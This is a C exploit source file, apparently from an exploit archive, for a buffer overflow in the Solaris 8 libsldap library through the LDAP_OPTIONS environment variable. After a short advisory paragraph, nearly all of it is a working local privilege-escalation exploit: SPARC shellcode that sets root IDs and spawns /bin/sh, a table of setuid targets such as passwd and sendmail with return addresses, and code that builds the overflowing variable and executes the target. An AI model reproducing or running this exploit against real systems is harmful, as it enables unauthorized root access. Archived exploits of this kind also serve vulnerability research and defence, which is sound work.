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88 lines
No EOL
2.8 KiB
C
88 lines
No EOL
2.8 KiB
C
// source: https://www.securityfocus.com/bid/2931/info
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Solaris 8 ships with a shared library that implements LDAP functionality called 'libsldap'. This library is linked to by a number of system utilities, many of them installed setuid or setgid.
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Libsldap contains a buffer overflow vulnerability in it's handling of the 'LDAP_OPTIONS' environment variable.
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Local attackers can exploit this vulnerability in setuid/setgid programs linked to libsldap to elevate privileges.
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/** !!!PRIVATE!!!
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** noir@gsu.linux.org.tr
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** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
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**
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**/
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#include <stdio.h>
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#define ADJUST 1
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/* anathema@hack.co.za
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** Solaris/SPARC shellcode
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** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
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*/
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char shellcode[] =
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"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
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"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
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"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
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"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
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"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";
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struct type {
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char *string;
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char *path;
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long retaddr;
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};
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struct type target[] =
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{
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{ "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
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{ "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
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{ "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
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{ "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
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{ "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
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{ NULL, NULL, 0 }
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};
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int i;
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unsigned long ret_adr;
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char ldap[4000];
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char egg[400];
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char *envs[] = { ldap, egg, NULL };
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main(int argc, char *argv[])
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{
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if(!argv[1])
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{
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fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
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buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
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for(i = 0; target[i].string != NULL; i++)
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fprintf(stderr,"target#: %s\n", target[i].string);
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exit(0);
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}
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ret_adr = target[atoi(argv[1])].retaddr;
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memset(egg, 0x00, sizeof egg);
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for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
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*(long *)&egg[i] = 0xa61cc013;
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for (i= 0 ; i < strlen(shellcode); i++)
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egg[200+i]=shellcode[i];
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for ( i = 0; i < ADJUST; i++) ldap[i]=0x58;
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for (i = ADJUST; i < 4000; i+=4)
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{
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ldap[i+3]=ret_adr & 0xff;
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ldap[i+2]=(ret_adr >> 8 ) &0xff;
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ldap[i+1]=(ret_adr >> 16 ) &0xff;
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ldap[i+0]=(ret_adr >> 24 ) &0xff;
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}
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memcpy(ldap, "LDAP_OPTIONS=", 13);
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ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated
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execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);
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} |